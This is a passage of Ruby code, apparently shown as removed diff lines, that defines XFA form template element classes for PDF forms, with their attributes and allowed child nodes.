Template::Fill, 0..1 - - def initialize - super('arc') - end - end - - class Line < XFA::Element - xfa_attribute 'hand' - xfa_attribute 'id' - xfa_attribute 'slope' - xfa_attribute 'use' - xfa_attribute 'usehref' - - xfa_node 'edge', Template::Edge, 0..1 - - def initialize - super('line') - end - end - - class Corner < XFA::Element - xfa_attribute 'id' - xfa_attribute 'inverted' - xfa_attribute 'join' - xfa_attribute 'presence' - xfa_attribute 'radius' - xfa_attribute 'stroke' - xfa_attribute 'thickness' - xfa_attribute 'use' - xfa_attribute 'usehref' - - xfa_node 'color', Template::Color, 0..1 - xfa_node 'extras', Template::Extras, 0..1 - - def initialize - super('corner') - end - end - - class Rectangle < XFA::Element - xfa_attribute 'hand' - xfa_attribute 'id' - xfa_attribute 'use' - xfa_attribute 'usehref' - - xfa_node 'corner', Template::Corner, 0..4 - xfa_node 'edge', Template::Edge, 0..4 - xfa_node 'fill', Template::Fill, 0..4 - - def initialize - super('rectangle') - end - end - - class Value < XFA::Element - xfa_attribute 'id' - xfa_attribute 'override' - xfa_attribute 'relevant' - xfa_attribute 'use' - xfa_attribute 'usehref' - - xfa_node 'arc', Template::Arc, 0..1 - xfa_node 'boolean', Template::Boolean, 0..1 - xfa_node 'date', Template::Date, 0..1 - xfa_node 'dateTime', Template::DateTime, 0..1 - xfa_node 'decimal', Template::Decimal, 0..1 - xfa_node 'exData', Template::ExData, 0..1 - xfa_node 'float', Template::Float, 0..1 - xfa_node 'image', Template::Image, 0..1 - xfa_node 'integer', Template::Integer, 0..1 - xfa_node 'line', Template::Line, 0..1 - xfa_node 'rectangle', Template::Rectangle, 0..1 - xfa_node 'text', Template::Text, 0..1 - xfa_node 'time', Template::Time, 0..1 - - def initialize - super('value') - end - end - - class Caption < XFA::Element - xfa_attribute 'id' - xfa_attribute 'placement' - xfa_attribute 'presence' - xfa_attribute 'reserve' - xfa_attribute 'use' - xfa_attribute 'usehref' - - xfa_node 'extras', Template::Extras, 0..1 - xfa_node 'font', Template::Font, 0..1 - xfa_node 'margin', Template::Margin, 0..1 - xfa_node 'para', Template::Para, 0..1 - xfa_node 'value', Template::Value, 0..1 - - def initialize - super('caption') - end - end - - class Traverse < XFA::Element - xfa_attribute 'id' - xfa_attribute 'operation' - xfa_attribute 'ref' - xfa_attribute 'use' - xfa_attribute 'usehref' - - xfa_node 'extras', Template::Extras, 0..1 - xfa_node 'script', Template::Script, 0..1 - - def initialize - super('traverse') - end - end - - class Traversal < XFA::Element - xfa_attribute 'id' - xfa_attribute 'use' - xfa_attribute 'usehref' - - xfa_node 'extras', Template::Extras, 0..1 - - xfa_node 'traverse', Template::Traverse - - def initialize - super('traversal') - end - end - - class Certificate < XFA::Element - xfa_attribute 'id' - xfa_attribute 'name' - xfa_attribute 'use' - xfa_attribute 'usehref' - - def initialize(b64data = nil) - super('certificate') - - self.text = b64data - end - end - - class Encrypt < XFA::Element - xfa_attribute 'id' - xfa_attribute 'use' - xfa_attribute 'usehref' - - xfa_node 'certificate', Template::Certificate, 0..1 - - def initialize - super('encrypt') - end - end - - class Barcode < XFA::Element - xfa_attribute 'charEncoding' - xfa_attribute 'checksum' - xfa_attribute 'dataColumnCount' - xfa_attribute 'dataLength' - xfa_attribute 'dataPrep' - xfa_attribute 'dataRowCount' - xfa_attribute 'endChar' - xfa_attribute 'errorConnectionLevel' - xfa_attribute 'id' - xfa_attribute 'moduleHeight' - xfa_attribute 'moduleWidth' - xfa_attribute 'printCheckDigit' - xfa_attribute 'rowColumnRatio' - xfa_attribute 'startChar' - xfa_attribute 'textLocation' - xfa_attribute 'truncate' - xfa_attribute 'type' - xfa_attribute 'upsMode' - xfa_attribute 'use' - xfa_attribute 'usehref' - xfa_attribute 'wideNarrowRatio' - - xfa_node 'encrypt', Template::Encrypt, 0..1 - xfa_node 'extras', Template::Extras, 0..1 - - def initialize - super('barcode') - end - end - - class Button < XFA::Element - xfa_attribute 'highlight' - xfa_attribute 'id' - xfa_attribute 'use' - xfa_attribute 'usehref' - - xfa_node 'extras', Template::Extras, 0..1 - - def initialize - super('button') - end - end - - class CheckButton < XFA::Element - xfa_attribute 'id' - xfa_attribute 'mark' - xfa_attribute 'shape' - xfa_attribute 'size' - xfa_attribute 'use' - xfa_attribute 'usehref' - - xfa_node 'border', Template::Border, 0..1 - xfa_node 'extras', Template::Extras, 0..1 - xfa_node 'margin', Template::Margin, 0..1 - - def initialize - super('checkButton') - end - end - - class ChoiceList < XFA::Element - xfa_attribute 'commitOn' - xfa_attribute 'id' - xfa_attribute 'open' - xfa_attribute 'textEntry' - xfa_attribute 'use' - xfa_attribute 'usehref' - - xfa_node 'border', Template::Border, 0..1 - xfa_node 'extras', Template::Extras, 0..1 - xfa_node 'margin', Template::Margin, 0..1 - - def initialize - super('choiceList') - end - end - - class Comb < XFA::Element - xfa_attribute 'id' - xfa_attribute 'numberOfCells' - xfa_attribute 'use' - xfa_attribute 'usehref' - - def initialize - super('comb') - end - end - - class DateTimeEdit < XFA::Element - xfa_attribute 'hScrollPolicy' - xfa_attribute 'id' - xfa_attribute 'picker' - xfa_attribute 'use' - xfa_attribute 'usehref' - - xfa_node 'border', Template::Border, 0..1 - xfa_node 'comb', Template::Comb, 0..1 - xfa_node 'extras', Template::Extras, 0..1 - xfa_node 'margin', Template::Margin, 0..1 - - def initialize - super('dateTimeEdit') - end - end - - class DefaultUI < XFA::Element - xfa_attribute 'id' - xfa_attribute 'use' - xfa_attribute 'usehref' - - xfa_node 'extras', Template::Extras, 0..1 - - def initialize - super('defaultUi') - end - end - - class ImageEdit < XFA::Element - xfa_attribute 'data' - xfa_attribute 'id' - xfa_attribute 'use' - xfa_attribute 'usehref' - - xfa_node 'border', Template::Border, 0..1 - xfa_node 'extras', Template::Extras, 0..1 - xfa_node 'margin', Template::Margin, 0..1 - - def initialize - super('imageEdit') - end - end - - class NumericEdit < XFA::Element - xfa_attribute 'hScrollPolicy' - xfa_attribute 'id' - xfa_attribute 'use' - xfa_attribute 'usehref' - - xfa_node 'border', Template::Border, 0..1 - xfa_node 'comb', Template::Comb, 0..1 - xfa_node 'extras', Template::Extras, 0..1 - xfa_node 'margin', Template::Margin, 0..1 - - def initialize - super('numericEdit') - end - end - - class PasswordEdit < XFA::Element - xfa_attribute 'hScrollPolicy' - xfa_attribute 'id' - xfa_attribute 'passwordChar' - xfa_attribute 'use' - xfa_attribute 'usehref' - - xfa_node 'border', Template::Border, 0..1 - xfa_node 'extras', Template::Extras, 0..1 - xfa_node 'margin', Template::Margin, 0..1 - - def initialize - super('passwordEdit') - end - end - - class AppearanceFilter < XFA::Element - xfa_attribute 'id' - xfa_attribute 'type' - xfa_attribute 'use' - xfa_attribute 'usehref' - - def initialize(name = "") - super('appearanceFilter') - - self.text = name - end - end - - class Issuers < XFA::Element - xfa_attribute 'id' - xfa_attribute 'type' - xfa_attribute 'use' - xfa_attribute 'usehref' - - xfa_node 'certificate', Template::Certificate - - def initialize - super('issuers') - end - end - - class KeyUsage < XFA::Element - xfa_attribute 'crlSign' - xfa_attribute 'dataEncipherment' - xfa_attribute 'decipherOnly' - xfa_attribute 'digitalSignature' - xfa_attribute 'encipherOnly' - xfa_attribute 'id' - xfa_attribute 'keyAgreement' - xfa_attribute 'keyCertSign' - xfa_attribute 'keyEncipherment' - xfa_attribute 'nonRepudiation' - xfa_attribute 'type' - xfa_attribute 'use' - xfa_attribute 'usehref' - - def initialize - super('keyUsage') - end - end - - class OID < XFA::Element - xfa_attribute 'id' - xfa_attribute 'name' - xfa_attribute 'use' - xfa_attribute 'usehref' - - def initialize(oid = "") - super('oid') - - self.text = oid - end - end - - class OIDs < XFA::Element - xfa_attribute 'id' - xfa_attribute 'type' - xfa_attribute 'use' - xfa_attribute 'usehref' - - xfa_node 'oid', Template::OID - - def initialize - super('oids') - end - end - - class Signing < XFA::Element - xfa_attribute 'id' - xfa_attribute 'type' - xfa_attribute 'use' - xfa_attribute 'usehref' - - xfa_node 'certificate', Template::Certificate - - def initialize - super('signing') - end - end - - class SubjectDN < XFA::Element - xfa_attribute 'delimiter' - xfa_attribute 'id' - xfa_attribute 'name' - xfa_attribute 'use' - xfa_attribute 'usehref' - - def initialize(data = "") - super('subjectDN') - - self.text = data - end - end - - class SubjectDNs < XFA::Element - xfa_attribute 'id' - xfa_attribute 'type' - xfa_attribute 'use' - xfa_attribute 'usehref' - - xfa_node 'subjectDN', Template::SubjectDN, 0..1 - - def initialize - super('subjectDNs') - end - end - - class Certificates < XFA::Element - xfa_attribute 'credentialServerPolicy' - xfa_attribute 'id' - xfa_attribute 'url' - xfa_attribute 'urlPolicy' - xfa_attribute 'use' - xfa_attribute 'usehref' - - xfa_node 'issuers', Template::Issuers, 0..1 - xfa_node 'keyUsage', Template::KeyUsage, 0..1 - xfa_node 'oids', Template::OIDs, 0..1 - xfa_node 'signing', Template::Signing, 0..1 - xfa_node 'subjectDNs', Template::SubjectDNs, 0..1 - - def initialize - super('certificates') - end - end - - class DigestMethod < XFA::Element - xfa_attribute 'id' - xfa_attribute 'use' - xfa_attribute 'usehref' - - def initialize(method = "") - super('digestMethod') - - self.text = method - end - end - - class DigestMethods < XFA::Element - xfa_attribute 'id' - xfa_attribute 'type' - xfa_attribute 'use' - xfa_attribute 'usehref' - - xfa_node 'digestMethod', Template::DigestMethod - - def initialize - super('digestMethods') - end - end - - class Encoding < XFA::Element - xfa_attribute 'id' - xfa_attribute 'use' - xfa_attribute 'usehref' - - def initialize(encoding = "") - super('encoding') - - self.text = encoding - end - end - - class Encodings < XFA::Element - xfa_attribute 'id' - xfa_attribute 'type' - xfa_attribute 'use' - xfa_attribute 'usehref' - - xfa_node 'encoding', Template::Encoding - - def initialize - super('encodings') - end - end - - class Handler < XFA::Element - xfa_attribute 'id' - xfa_attribute 'type' - xfa_attribute 'use' - xfa_attribute 'usehref' - - def initialize(handler = "") - super('handler') - - self.text = handler - end - end - - class LockDocument < XFA::Element - xfa_attribute 'id' - xfa_attribute 'type' - xfa_attribute 'use' - xfa_attribute 'usehref' - - def initialize(lock = "default") - super('lockDocument') - - self.text = lock - end - end - - class MDP < XFA::Element - xfa_attribute 'id' - xfa_attribute 'permissions' - xfa_attribute 'signatureType' - xfa_attribute 'use' - xfa_attribute 'usehref' - - def initialize - super('mdp') - end - end - - class Reason < XFA::Element - xfa_attribute 'id' - xfa_attribute 'name' - xfa_attribute 'use' - xfa_attribute 'usehref' - - def initialize(reason = "") - super('reason') - - self.text = reason - end - end - - class Reasons < XFA::Element - xfa_attribute 'id' - xfa_attribute 'type' - xfa_attribute 'use' - xfa_attribute 'usehref' - - xfa_node 'reason', Template::Reason - - def initialize - super('reasons') - end - end - - class TimeStamp < XFA::Element - xfa_attribute 'id' - xfa_attribute 'server' - xfa_attribute 'type' - xfa_attribute 'use' - xfa_attribute 'usehref' - - def initialize - super('timeStamp') - end - end - - class Filter < XFA::Element - xfa_attribute 'addRevocationInfo' - xfa_attribute 'id' - xfa_attribute 'name' - xfa_attribute 'use' - xfa_attribute 'usehref' - xfa_attribute 'version' - - xfa_node 'appearanceFilter', Template::AppearanceFilter, 0..1 - xfa_node 'certificates', Template::Certificates, 0..1 - xfa_node 'digestMethods', Template::DigestMethods, 0..1 - xfa_node 'encodings', Template::Encodings, 0..1 - xfa_node 'handler', Template::Handler, 0..1 - xfa_node 'lockDocument', Template::LockDocument, 0..1 - xfa_node 'mdp', Template::MDP, 0..1 - xfa_node 'reasons', Template::Reasons, 0..1 - xfa_node 'timeStamp', Template::TimeStamp, 0..1 - - def initialize - super('filter') - end - end - - class Ref < XFA::Element - xfa_attribute 'id' - xfa_attribute 'use' - xfa_attribute 'usehref' - - def initialize(somexpr = nil) - super('ref') - - self.text = somexpr - end - end - - class Manifest < XFA::Element - xfa_attribute 'action' - xfa_attribute 'id' - xfa_attribute 'name' - xfa_attribute 'use' - xfa_attribute 'usehref' - - xfa_node 'extras', Template::Extras, 0..1 - - xfa_node 'ref', Template::Ref, 0..1 - - def initialize - super('manifest') - end - end - - class Signature < XFA::Element - xfa_attribute 'id' - xfa_attribute 'type' - xfa_attribute 'use' - xfa_attribute 'usehref' - - xfa_node 'border', Template::Border, 0..1 - xfa_node 'extras', Template::Extras, 0..1 - xfa_node 'filter', Template::Filter, 0..1 - xfa_node 'manifest', Template::Manifest, 0..1 - xfa_node 'margin', Template::Margin, 0..1 - - def initialize - super('signature') - end - end - - class TextEdit < XFA::Element - xfa_attribute 'allowRichText' - xfa_attribute 'hScrollPolicy' - xfa_attribute 'id' - xfa_attribute 'multiLine' - xfa_attribute 'use' - xfa_attribute 'usehref' - xfa_attribute 'vScrollPolicy' - - xfa_node 'border', Template::Border, 0..1 - xfa_node 'comb', Template::Comb, 0..1 - xfa_node 'extras', Template::Extras, 0..1 - xfa_node 'margin', Template::Margin, 0..1 - - def initialize - super('textEdit') - end - end - - class UI < XFA::Element - xfa_attribute 'id' - xfa_attribute 'use' - xfa_attribute 'usehref' - - xfa_node 'extras', Template::Extras, 0..1 - xfa_node 'picture', Template::Picture, 0..1 - xfa_node 'barcode', Template::Barcode, 0..1 - xfa_node 'button', Template::Button, 0..1 - xfa_node 'checkButton', Template::CheckButton, 0..1 - xfa_node 'choiceList', Template::ChoiceList, 0..1 - xfa_node 'dateTimeEdit', Template::DateTimeEdit, 0..1 - xfa_node 'defaultUi', Template::DefaultUI, 0..1 - xfa_node 'imageEdit', Template::ImageEdit, 0..1 - xfa_node 'numericEdit', Template::NumericEdit, 0..1 - xfa_node 'passwordEdit', Template::PasswordEdit, 0..1 - xfa_node 'signature', Template::Signature, 0..1 - xfa_node 'textEdit', Template::TextEdit, 0..1 - - def initialize - super('ui') - end - end - - class SetProperty < XFA::Element - xfa_attribute 'connection' - xfa_attribute 'ref' - xfa_attribute 'target' - - def initialize - super('setProperty') - end - end - - class Draw < XFA::Element - xfa_attribute 'anchorType' - xfa_attribute 'colSpan' - xfa_attribute 'h' - xfa_attribute 'id' - xfa_attribute 'locale' - xfa_attribute 'maxH' - xfa_attribute 'maxW' - xfa_attribute 'minH' - xfa_attribute 'minW' - xfa_attribute 'name' - xfa_attribute 'presence' - xfa_attribute 'relevant' - xfa_attribute 'rotate' - xfa_attribute 'use' - xfa_attribute 'usehref' - xfa_attribute 'w' - xfa_attribute 'x' - xfa_attribute 'y' - - xfa_node 'assist', Template::Assist, 0..1 - xfa_node 'border', Template::Border, 0..1 - xfa_node 'caption', Template::Caption, 0..1 - xfa_node 'desc', Template::Desc, 0..1 - xfa_node 'extras', Template::Extras, 0..1 - xfa_node 'font', Template::Font, 0..1 - xfa_node 'keep', Template::Keep, 0..1 - xfa_node 'margin', Template::Margin, 0..1 - xfa_node 'para', Template::Para, 0..1 - xfa_node 'traversal', Template::Traversal, 0..1 - xfa_node 'ui', Template::UI, 0..1 - xfa_node 'value', Template::Value, 0..1 - - xfa_node 'setProperty', Template::SetProperty - - def initialize - super('draw') - end - end - - class Validate < XFA::Element - xfa_attribute 'formatTest' - xfa_attribute 'id' - xfa_attribute 'nullTest' - xfa_attribute 'scriptTest' - xfa_attribute 'use' - xfa_attribute 'usehref' - - xfa_node 'extras', Template::Extras, 0..1 - xfa_node 'message', Template::Message, 0..1 - xfa_node 'picture', Template::Picture, 0..1 - xfa_node 'script', Template::Script, 0..1 - - def initialize - super('validate') - end - end - - class Connect < XFA::Element - xfa_attribute 'connection' - xfa_attribute 'id' - xfa_attribute 'ref' - xfa_attribute 'usage' - xfa_attribute 'use' - xfa_attribute 'usehref' - - xfa_node 'picture', Template::Picture, 0..1 - - def initialize - super('connect') - end - end - - class Execute < XFA::Element - xfa_attribute 'connection' - xfa_attribute 'executeType' - xfa_attribute 'id' - xfa_attribute 'runAt' - xfa_attribute 'use' - xfa_attribute 'usehref' - - def initialize - super('execute') - end - end - - class SignData < XFA::Element - xfa_attribute 'id' - xfa_attribute 'operation' - xfa_attribute 'ref' - xfa_attribute 'target' - xfa_attribute 'use' - xfa_attribute 'usehref' - - xfa_node 'filter', Template::Filter, 0..1 - xfa_node 'manifest', Template::Manifest, 0..1 - - def initialize - super('signData') - end - end - - class Submit < XFA::Element - xfa_attribute 'embedPDF' - xfa_attribute 'format' - xfa_attribute 'id' - xfa_attribute 'target' - xfa_attribute 'textEncoding' - xfa_attribute 'use' - xfa_attribute 'usehref' - xfa_attribute 'xdpContent' - - xfa_node 'encrypt', Template::Encrypt, 0..1 - - xfa_node 'signData', Template::SignData - - def initialize - super('submit') - end - end - - class Event < XFA::Element - xfa_attribute 'activity' - xfa_attribute 'id' - xfa_attribute 'listen' - xfa_attribute 'name' - xfa_attribute 'ref' - xfa_attribute 'use' - xfa_attribute 'usehref' - - xfa_node 'extras', Template::Extras, 0..1 - xfa_node 'execute', Template::Execute, 0..1 - xfa_node 'script', Template::Script, 0..1 - xfa_node 'signData', Template::SignData, 0..1 - xfa_node 'submit', Template::Submit, 0..1 - - def initialize - super('event') - end - end - - class Format < XFA::Element - xfa_attribute 'id' - xfa_attribute 'use' - xfa_attribute 'usehref' - - xfa_node 'extras', Template::Extras, 0..1 - xfa_node 'picture', Template::Picture, 0..1 - - def initialize - super('format') - end - end - - class Items < XFA::Element - xfa_attribute 'id' - xfa_attribute 'name' - xfa_attribute 'presence' - xfa_attribute 'ref' - xfa_attribute 'save' - xfa_attribute 'use' - xfa_attribute 'usehref' - - xfa_node 'boolean', Template::Boolean - xfa_node 'date', Template::Date - xfa_node 'dateTime', Template::DateTime - xfa_node 'decimal', Template::Decimal - xfa_node 'exData', Template::ExData - xfa_node 'float', Template::Float - xfa_node 'image', Template::Image - xfa_node 'integer', Template::Integer - xfa_node 'text', Template::Text - xfa_node 'time', Template::Time - - def initialize - super('items') - end - end - - class BindItems < XFA::Element - xfa_attribute 'connection' - xfa_attribute 'labelRef' - xfa_attribute 'ref' - xfa_attribute 'valueRef' - - def initialize - super('bindItems') - end - end - - class Field < XFA::Element - xfa_attribute 'access' - xfa_attribute 'accessKey' - xfa_attribute 'anchorType' - xfa_attribute 'colSpan' - xfa_attribute 'h' - xfa_attribute 'id' - xfa_attribute 'locale' - xfa_attribute 'maxH' - xfa_attribute 'maxW' - xfa_attribute 'minH' - xfa_attribute 'minW' - xfa_attribute 'name' - xfa_attribute 'presence' - xfa_attribute 'relevant' - xfa_attribute 'rotate' - xfa_attribute 'use' - xfa_attribute 'usehref' - xfa_attribute 'w' - xfa_attribute 'x' - xfa_attribute 'y' - - xfa_node 'assist', Template::Assist, 0..1 - xfa_node 'bind', Template::Bind, 0..1 - xfa_node 'border', Template::Border, 0..1 - xfa_node 'calculate', Template::Calculate, 0..1 - xfa_node 'caption', Template::Caption, 0..1 - xfa_node 'desc', Template::Desc, 0..1 - xfa_node 'extras', Template::Extras, 0..1 - xfa_node 'font', Template::Font, 0..1 - xfa_node 'format', Template::Format, 0..1 - xfa_node 'items', Template::Items, 0..2 - xfa_node 'keep', Template::Keep, 0..1 - xfa_node 'margin', Template::Margin, 0..1 - xfa_node 'para', Template::Para, 0..1 - xfa_node 'traversal', Template::Traversal, 0..1 - xfa_node 'ui', Template::UI, 0..1 - xfa_node 'validate', Template::Validate, 0..1 - xfa_node 'value', Template::Value, 0..1 - - xfa_node 'bindItems', Template::BindItems - xfa_node 'connect', Template::Connect - xfa_node 'event', Template::Event - xfa_node 'setProperty', Template::SetProperty - - def initialize - super('field') - end - end - - - class ExclGroup < XFA::Element - xfa_attribute 'access' - xfa_attribute 'accessKey' - xfa_attribute 'anchorType' - xfa_attribute 'colSpan' - xfa_attribute 'h' - xfa_attribute 'id' - xfa_attribute 'layout' - xfa_attribute 'maxH' - xfa_attribute 'maxW' - xfa_attribute 'minH' - xfa_attribute 'minW' - xfa_attribute 'name' - xfa_attribute 'presence' - xfa_attribute 'relevant' - xfa_attribute 'use' - xfa_attribute 'usehref' - xfa_attribute 'w' - xfa_attribute 'x' - xfa_attribute 'y' - - xfa_node 'assist', Template::Assist, 0..1 - xfa_node 'bind', Template::Bind, 0..1 - xfa_node 'border', Template::Border, 0..1 - xfa_node 'calculate', Template::Calculate, 0..1 - xfa_node 'caption', Template::Caption, 0..1 - xfa_node 'desc', Template::Desc, 0..1 - xfa_node 'extras', Template::Extras, 0..1 - xfa_node 'margin', Template::Margin, 0..1 - xfa_node 'para', Template::Para, 0..1 - xfa_node 'traversal', Template::Traversal, 0..1 - xfa_node 'validate', Template::Validate, 0..1 - - xfa_node 'connect', Template::Connect - xfa_node 'event', Template::Event - xfa_node 'field', Template::Field - xfa_node 'setProperty', Template::SetProperty - - def initialize - super('exclGroup') - end - end - - class BreakAfter < XFA::Element - xfa_attribute 'id' - xfa_attribute 'leader' - xfa_attribute 'startNew' - xfa_attribute 'target' - xfa_attribute 'targetType' - xfa_attribute 'trailer' - xfa_attribute 'use' - xfa_attribute 'usehref' - - xfa_node 'script', Template::Script, 0..1 - - def initialize - super('breakAfter') - end - end - - class BreakBefore < XFA::Element - xfa_attribute 'id' - xfa_attribute 'leader' - xfa_attribute 'startNew' - xfa_attribute 'target' - xfa_attribute 'targetType' - xfa_attribute 'trailer' - xfa_attribute 'use' - xfa_attribute 'usehref' - - xfa_node 'script', Template::Script, 0..1 - - def initialize - super('breakBefore') - end - end - - class Subform < XFA::Element ; end - class SubformSet < XFA::Element - xfa_attribute 'id' - xfa_attribute 'name' - xfa_attribute 'relation' - xfa_attribute 'relevant' - xfa_attribute 'use' - xfa_attribute 'usehref' - - xfa_node 'bookend', Template::Bookend, 0..1 - xfa_node 'break', Template::Break, 0..1 - xfa_node 'desc', Template::Desc, 0..1 - xfa_node 'extras', Template::Extras, 0..1 - xfa_node 'occur', Template::Occur, 0..1 - xfa_node 'overflow', Template::Overflow, 0..1 - - xfa_node 'breakAfter', Template::BreakAfter - xfa_node 'breakBefore', Template::BreakBefore - xfa_node 'subform', Template::Subform - xfa_node 'subformSet', Template::SubformSet - - def initialize - super('subformSet') - end - end - - class Area < XFA::Element - xfa_attribute 'colSpan' - xfa_attribute 'id' - xfa_attribute 'name' - xfa_attribute 'relevant' - xfa_attribute 'use' - xfa_attribute 'usehref' - xfa_attribute 'x' - xfa_attribute 'y' - - xfa_node 'desc', Template::Desc, 0..1 - xfa_node 'extras', Template::Extras, 0..1 - - xfa_node 'area', Template::Area - xfa_node 'draw', Template::Draw - xfa_node 'exclGroup', Template::ExclGroup - xfa_node 'field', Template::Field - xfa_node 'subform', Template::Subform - xfa_node 'subformSet', Template::SubformSet - - def initialize - super('area') - end - end - - class ContentArea < XFA::Element - xfa_attribute 'h' - xfa_attribute 'id' - xfa_attribute 'name' - xfa_attribute 'relevant' - xfa_attribute 'use' - xfa_attribute 'usehref' - xfa_attribute 'w' - xfa_attribute 'x' - xfa_attribute 'y' - - xfa_node 'desc', Template::Desc, 0..1 - xfa_node 'extras', Template::Extras, 0..1 - - def initialize - super('contentArea') - end - end - - class PageArea < XFA::Element - xfa_attribute 'blankOrNotBlank' - xfa_attribute 'id' - xfa_attribute 'initialNumber' - xfa_attribute 'name' - xfa_attribute 'numbered' - xfa_attribute 'oddOrEven' - xfa_attribute 'pagePosition' - xfa_attribute 'relevant' - xfa_attribute 'use' - xfa_attribute 'usehref' - - xfa_node 'desc', Template::Desc, 0..1 - xfa_node 'extras', Template::Extras, 0..1 - xfa_node 'medium', Template::Medium, 0..1 - xfa_node 'occur', Template::Occur, 0..1 - - xfa_node 'area', Template::Area - xfa_node 'contentArea', Template::ContentArea - xfa_node 'draw', Template::Draw - xfa_node 'exclGroup', Template::ExclGroup - xfa_node 'field', Template::Field - xfa_node 'subform', Template::Subform - - def initialize - super('pageArea') - end - end - - class PageSet < XFA::Element - xfa_attribute 'id' - xfa_attribute 'name' - xfa_attribute 'relation' - xfa_attribute 'relevant' - xfa_attribute 'use' - xfa_attribute 'usehref' - - xfa_node 'extras', Template::Extras, 0..1 - xfa_node 'occur', Template::Occur, 0..1 - - xfa_node 'pageArea', Template::PageArea - xfa_node 'pageSet', Template::PageSet - - ORDERED_OCCURENCE = "orderedOccurence" - DUPLEX_PAGINATED = "duplexPaginated" - SIMPLEX_PAGINATED = "simplexPaginated" - - def initialize - super('pageSet') - end - end - - class Variables < XFA::Element - xfa_attribute 'id' - xfa_attribute 'use' - xfa_attribute 'usehref' - - xfa_node 'boolean', Template::Boolean - xfa_node 'date', Template::Date - xfa_node 'dateTime', Template::DateTime - xfa_node 'decimal', Template::Decimal - xfa_node 'exData', Template::ExData - xfa_node 'float', Template::Float - xfa_node 'image', Template::Image - xfa_node 'integer', Template::Integer - xfa_node 'manifest', Template::Manifest - xfa_node 'script', Template::Script - xfa_node 'text', Template::Text - xfa_node 'time', Template::Time - - def initialize - super('variables') - end - end - - class ExObject < XFA::Element - xfa_attribute 'archive' - xfa_attribute 'classId' - xfa_attribute 'codeBase' - xfa_attribute 'codeType' - xfa_attribute 'id' - xfa_attribute 'name' - xfa_attribute 'use' - xfa_attribute 'usehref' - - xfa_node 'extras', Template::Extras, 0..1 - - xfa_node 'boolean', Template::Boolean - xfa_node 'date', Template::Date - xfa_node 'dateTime', Template::DateTime - xfa_node 'decimal', Template::Decimal - xfa_node 'exData', Template::ExData - xfa_node 'exObject', Template::ExObject - xfa_node 'float', Template::Float - xfa_node 'image', Template::Image - xfa_node 'integer', Template::Integer - xfa_node 'text', Template::Text - xfa_node 'time', Template::Time - - def initialize - super('exObject') - end - end - - class Proto < XFA::Element - xfa_node 'appearanceFilter', Template::AppearanceFilter - xfa_node 'arc', Template::Arc - xfa_node 'area', Template::Area - xfa_node 'assist', Template::Assist - xfa_node 'barcode', Template::Barcode - xfa_node 'bindItems', Template::BindItems - xfa_node 'bookend', Template::Bookend - xfa_node 'boolean', Template::Boolean - xfa_node 'border', Template::Border - xfa_node 'break', Template::Break - xfa_node 'breakAfter', Template::BreakAfter - xfa_node 'breakBefore', Template::BreakBefore - xfa_node 'button', Template::Button - xfa_node 'calculate', Template::Calculate - xfa_node 'caption', Template::Caption - xfa_node 'certificate', Template::Certificate - xfa_node 'certificates', Template::Certificates - xfa_node 'checkButton', Template::CheckButton - xfa_node 'choiceList', Template::ChoiceList - xfa_node 'color', Template::Color - xfa_node 'comb', Template::Comb - xfa_node 'connect', Template::Connect - xfa_node 'contentArea', Template::ContentArea - xfa_node 'corner', Template::Corner - xfa_node 'date', Template::Date - xfa_node 'dateTime', Template::DateTime - xfa_node 'dateTimeEdit', Template::DateTimeEdit - xfa_node 'decimal', Template::Decimal - xfa_node 'defaultUi', Template::DefaultUI - xfa_node 'desc', Template::Desc - xfa_node 'digestMethod', Template::DigestMethod - xfa_node 'digestMethods', Template::DigestMethods - xfa_node 'draw', Template::Draw - xfa_node 'edge', Template::Edge - xfa_node 'encoding', Template::Encoding - xfa_node 'encodings', Template::Encodings - xfa_node 'encrypt', Template::Encrypt - xfa_node 'event', Template::Event - xfa_node 'exData', Template::ExData - xfa_node 'exObject', Template::ExObject - xfa_node 'exclGroup', Template::ExclGroup - xfa_node 'execute', Template::Execute - xfa_node 'extras', Template::Extras - xfa_node 'field', Template::Field - xfa_node 'fill', Template::Fill - xfa_node 'filter', Template::Filter - xfa_node 'float', Template::Float - xfa_node 'font', Template::Font - xfa_node 'format', Template::Format - xfa_node 'handler', Template::Handler - xfa_node 'hyphenation', Template::Hyphenation - xfa_node 'image', Template::Image - xfa_node 'imageEdit', Template::ImageEdit - xfa_node 'integer', Template::Integer - xfa_node 'issuers', Template::Issuers - xfa_node 'items', Template::Items - xfa_node 'keep', Template::Keep - xfa_node 'keyUsage', Template::KeyUsage - xfa_node 'line', Template::Line - xfa_node 'linear', Template::Linear - xfa_node 'lockDocument', Template::LockDocument - xfa_node 'manifest', Template::Manifest - xfa_node 'margin', Template::Margin - xfa_node 'mdp', Template::MDP - xfa_node 'medium', Template::Medium - xfa_node 'message', Template::Message - xfa_node 'numericEdit', Template::NumericEdit - xfa_node 'occur', Template::Occur - xfa_node 'oid', Template::OID - xfa_node 'oids', Template::OIDs - xfa_node 'overflow', Template::Overflow - xfa_node 'pageArea', Template::PageArea - xfa_node 'pageSet', Template::PageSet - xfa_node 'para', Template::Para - xfa_node 'passwordEdit', Template::PasswordEdit - xfa_node 'pattern', Template::Pattern - xfa_node 'picture', Template::Picture - xfa_node 'radial', Template::Radial - xfa_node 'reason', Template::Reason - xfa_node 'reasons', Template::Reasons - xfa_node 'rectangle', Template::Rectangle - xfa_node 'ref', Template::Ref - xfa_node 'script', Template::Script - xfa_node 'setProperty', Template::SetProperty - xfa_node 'signData', Template::SignData - xfa_node 'signature', Template::Signature - xfa_node 'signing', Template::Signing - xfa_node 'solid', Template::Solid - xfa_node 'speak', Template::Speak - xfa_node 'stipple', Template::Stipple - xfa_node 'subform', Template::Subform - xfa_node 'subformSet', Template::SubformSet - xfa_node 'subjectDN', Template::SubjectDN - xfa_node 'subjectDNs', Template::SubjectDNs - xfa_node 'submit', Template::Submit - xfa_node 'text', Template::Text - xfa_node 'textEdit', Template::TextEdit - xfa_node 'time', Template::Time - xfa_node 'timeStamp', Template::TimeStamp - xfa_node 'toolTip', Template::ToolTip - xfa_node 'traversal', Template::Traversal - xfa_node 'traverse', Template::Traverse - xfa_node 'ui', Template::UI - xfa_node 'validate', Template::Validate - xfa_node 'value', Template::Value - xfa_node 'variables', Template::Variables - - def initialize - super('proto') - end - end - - class Subform < XFA::Element - xfa_attribute 'access' - xfa_attribute 'allowMacro' - xfa_attribute 'anchorType' - xfa_attribute 'colSpan' - xfa_attribute 'columnWidths' - xfa_attribute 'h' - xfa_attribute 'id' - xfa_attribute 'layout' - xfa_attribute 'locale' - xfa_attribute 'maxH' - xfa_attribute 'maxW' - xfa_attribute 'minH' - xfa_attribute 'minW' - xfa_attribute 'name' - xfa_attribute 